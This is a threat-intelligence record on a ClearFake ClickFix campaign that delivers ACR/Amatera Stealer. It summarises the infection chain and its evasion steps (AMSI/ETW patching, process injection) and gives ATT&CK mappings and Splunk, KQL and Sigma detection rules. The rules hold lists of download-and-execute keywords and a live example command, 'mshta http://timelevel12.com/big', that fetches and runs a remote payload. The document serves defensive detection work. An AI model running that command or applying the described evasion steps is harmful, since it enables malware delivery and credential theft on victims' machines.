# ClearFake ClickFix Campaign Pushes ACR/Amatera Stealer on Windows Host

> Malware-Traffic-Analysis.net (2026-11-13) published a PCAP and HTTPS traffic capture of a ClearFake website-injection campaign using the ClickFix (fake CAPTCHA, paste-into-Run) technique to deliver ACR/Amatera Stealer to a Windows host. The page itself lists no IOCs; indicators in this record come from vendor reporting on the same malware family and delivery chain.

- **Published:** 2026-11-17T04:24:13Z
- **Last reviewed:** 2026-11-17T04:24:13Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-6206
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-6206.png
- **ID:** TL-2026-6206
- **Severity:** MEDIUM
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 28 (3 shown free below)

## Description

ClearFake is a malicious JavaScript injection framework planted on compromised websites. Since 2025 it has used EtherHiding, retrieving follow-on script from smart contracts on BNB Smart Chain (and, in related 2026 activity, Base) so the operator can rotate payloads by writing new on-chain values. The injected script overlays a fake, localized CAPTCHA that instructs the visitor to press Win+R, paste a clipboard command and press Enter (ClickFix). This is user-driven execution and does not exploit a software vulnerability.

The 2026-11-13 Malware-Traffic-Analysis.net post (title spells it ClearFake, file names spell it 'CleaFake') documents this chain ending in ACR/Amatera Stealer on a Windows host, with a 39.4 MB PCAP, a 2.3 MB HTTPS-traffic archive and two screenshots. The page text contains no IOC list, hashes, CVEs or attribution; the zip files are password-protected and their contents were not reviewed. Analysts should treat the detailed behavior below as characteristic of the family from other vendors, not as confirmed for this exact sample.

Amatera Stealer is a rebrand of ACR Stealer (sold as malware-as-a-service; Proofpoint reported the rebrand in June 2025 and observed ClearFake ClickFix delivering it in April-May 2025). Proofpoint's documented chain: ClickFix PowerShell downloads a .csproj executed with msbuild.exe, a second-stage script disables PowerShell logging, patches AMSI and ETW, then Early Bird injection into a suspended OpenWith.exe runs shellcode that loads Amatera. Amatera uses NTSockets (talking to \Device\Afd\Endpoint instead of Winsock), WoW64 direct syscalls, direct-IP connections to Cloudflare with a hard-coded Host header, and Base64/XOR-decoded JSON config from the C2. It steals browser data, crypto wallets, password-manager and wallet extensions, email/SSH/FTP configs and messenger data, and can download and run secondary payloads.

Later 2026 reporting shows variants of the delivery. Microsoft Defender Experts (blog dated 2026-07-16, activity late April to mid-June 2026) described a WebDAV chain (rundll32 loading a DLL from a WebDAV share, a hidden scheduled task, a Python loader, fiber-based shellcode, M365/OneDrive/SharePoint document and token theft) and an MSHTA fileless chain (HTA, PowerShell, steganographic JPEG payload). Cisco Talos (2026-09-08) tracked a ClearFake/EtherHiding/WebDAV chain as UAT-10820 delivering Amatera, ZigCryptoStealer, NetSupport Manager and a Go reverse proxy, including BYOVD EDR termination. Netskope (2026-08-25) described a WordPress mass-compromise chain with a Service Worker, Base-chain EtherHiding, an MP3/HTA polyglot and the Emmenhtal loader ending in Amatera. Defender priorities: block Run-dialog paste execution patterns, hunt RunMRU entries, WebDAV rundll32 usage, mshta/msbuild launched by PowerShell, and revoke sessions/tokens for affected users.

## MITRE ATT&CK

- T1204.004 User Execution: Malicious Copy and Paste
- T1059.001 Command and Scripting Interpreter: PowerShell
- T1059.003 Command and Scripting Interpreter: Windows Command Shell
- T1059.006 Command and Scripting Interpreter: Python
- T1053.005 Scheduled Task/Job: Scheduled Task
- T1218.011 System Binary Proxy Execution: Rundll32
- T1218.005 System Binary Proxy Execution: Mshta
- T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild
- T1027.003 Obfuscated Files or Information: Steganography
- T1055.004 Process Injection: Asynchronous Procedure Call
- T1685 Disable or Modify Tools
- T1685 Disable or Modify Tools
- T1620 Reflective Code Loading
- T1070.003 Indicator Removal: Clear Command History
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1005 Data from Local System
- T1074.001 Data Staged: Local Data Staging
- T1071.001 Application Layer Protocol: Web Protocols
- T1102.001 Web Service: Dead Drop Resolver

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**ClickFix Run Dialog Paste Executing Remote Script (ClearFake/Amatera) — Exploitation** (`TL-2026-6206-SPL-001`)

Behaviour-first detection of the ClickFix fake-CAPTCHA technique: a user pastes a command into Win+R, so mshta, PowerShell, rundll32, cmd or curl is spawned by explorer.exe with a URL, WebDAV path or encoded payload. Matches the ClearFake chain that ends in ACR/Amatera Stealer (for example mshta http://timelevel12.com/big) and flags known delivery domains. The attack is user-driven and exploits no CVE.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1204.004, T1218.005, T1059.001, T1059.003
- **Data sources:** sysmon, windows_security
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ParentImage="*\\explorer.exe" (Image="*\\mshta.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\rundll32.exe" OR Image="*\\cmd.exe" OR Image="*\\curl.exe" OR Image="*\\wscript.exe" OR Image="*\\cscript.exe") (CommandLine="*http*" OR CommandLine="*@SSL*" OR CommandLine="*DavWWWRoot*" OR CommandLine="*iex*" OR CommandLine="*-enc*" OR CommandLine="*DownloadString*" OR CommandLine="*FromBase64String*")
| eval ioc_hit=if(match(CommandLine,"(?i)timelevel12\.com|deep-harborio\.com|leaguejazire\.com|cbrw\.ru"),1,0)
| stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as command_lines values(Image) as child_images by host User ParentImage ioc_hit
| sort -ioc_hit -count
```

### Microsoft KQL

```kql
let ClickFixIoc = dynamic(["timelevel12.com","deep-harborio.com","leaguejazire.com","cbrw.ru"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("mshta.exe","powershell.exe","pwsh.exe","rundll32.exe","cmd.exe","curl.exe","wscript.exe","cscript.exe")
| where ProcessCommandLine has_any ("http","@SSL","DavWWWRoot","iex","-enc","EncodedCommand","DownloadString","FromBase64String")
| extend IocHit = ProcessCommandLine has_any (ClickFixIoc)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, IocHit, SHA256
| order by IocHit desc, Timestamp desc
```

### Sigma

```yaml
title: ClickFix Run Dialog Paste Launching Script Host With Remote Content
id: 3f6b0c1e-5a2d-4e8b-9c11-7d4a2b6e1f01
status: experimental
description: Detects explorer.exe (Win+R Run dialog) launching mshta, PowerShell, rundll32, cmd or curl with a remote URL, WebDAV path or encoded payload, the ClearFake ClickFix pattern such as mshta http://timelevel12.com/big.
references:
    - https://www.malware-traffic-analysis.net/2026/11/13/index.html
    - https://threatlabs.netskope.com/blog/2026/08/etherhiding-in-the-browser-clickfix-chain-ends-in-amatera
author: Threadlinqs Team
date: 2026-11-17
tags:
    - attack.execution
    - attack.t1204.004
    - attack.t1059.001
    - attack.t1059.003
    - attack.defense-evasion
    - attack.t1218.005
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\explorer.exe'
    selection_child:
        Image|endswith:
            - '\mshta.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\rundll32.exe'
            - '\cmd.exe'
            - '\curl.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    selection_cli:
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - '@SSL'
            - 'DavWWWRoot'
            - 'DownloadString'
            - 'FromBase64String'
            - ' -enc '
            - ' -EncodedCommand '
            - 'iex '
    condition: all of selection_*
falsepositives:
    - Administrators launching scripts from the Run dialog with a URL
    - Software deployment shortcuts that call PowerShell with a download URL
level: high

```

**Known false positives:**

- Administrators or helpdesk staff pasting download commands into the Run dialog
- Legitimate installers launched from Run with an https URL

**Tuning notes:** Allow-list internal software distribution hosts in the command-line filter. Raise priority when ioc_hit=1. Pair with a RunMRU registry hunt (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU) and enforce the Run-dialog GPO for users who do not need it.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Rundll32 Executing DLL From WebDAV Share — ClickFix WebDAV Chain — Exploitation (locked: unlock with TL Creds)
- Hidden Scheduled Task And Python Loader Persistence — Post-Exploitation (locked: unlock with TL Creds)
- Script Host Contacting Blockchain RPC Or telegra.ph Dead Drop — C2 (locked: unlock with TL Creds)
- MSBuild Project Execution From Script Host — ClearFake csproj Loader — Exploitation (locked: unlock with TL Creds)
- OpenWith.exe Network Activity — Early Bird APC Injection Host — Post-Exploitation (locked: unlock with TL Creds)
- Browser Credential Store Staged By Non-Browser Process — Amatera Collection/Exfil Staging (locked: unlock with TL Creds)
- PowerShell AMSI Patch, ETW Tampering And Logging Disable — Amatera Stage 2 — Post-Exploitation (locked: unlock with TL Creds)
- ClearFake And Amatera Stealer C2 Infrastructure Contact — C2 (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 28)

Defanged, TLP:CLEAR.

- IP address: `145.249.109[.]147`
- Domain: `leaguejazire[.]com`
- URL: `hxxps://telegra[.]ph/Functions-04-03`

Full set of 28 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Malware-Traffic-Analysis.net - 2026-11-13: ClearFake ClickFix Pushes ACR/Amatera Stealer on Windows Host](https://www.malware-traffic-analysis.net/2026/11/13/index.html)
- [Proofpoint - Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication](https://www.proofpoint.com/us/blog/threat-insight/amatera-stealer-rebranded-acr-stealer-improved-evasion-sophistication)
- [Microsoft Security Blog - ACR Stealer: Two observed intrusion chains amid increased threat activity](https://www.microsoft.com/en-us/security/blog/?p=148744)
- [Cisco Talos - ClearFake WebDAV infection chain](https://blog.talosintelligence.com/clearfake-webdav-infection-chain/)
- [Netskope Threat Labs - EtherHiding in the Browser: ClickFix Chain Ends in Amatera](https://threatlabs.netskope.com/blog/2026/08/etherhiding-in-the-browser-clickfix-chain-ends-in-amatera)
- [Cloud Security Alliance - ACR Stealer's ClickFix Campaigns Drain M365 Tokens](https://labs.cloudsecurityalliance.org/research/csa-research-note-acr-stealer-clickfix-m365-20260717-csa-sty/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-6206
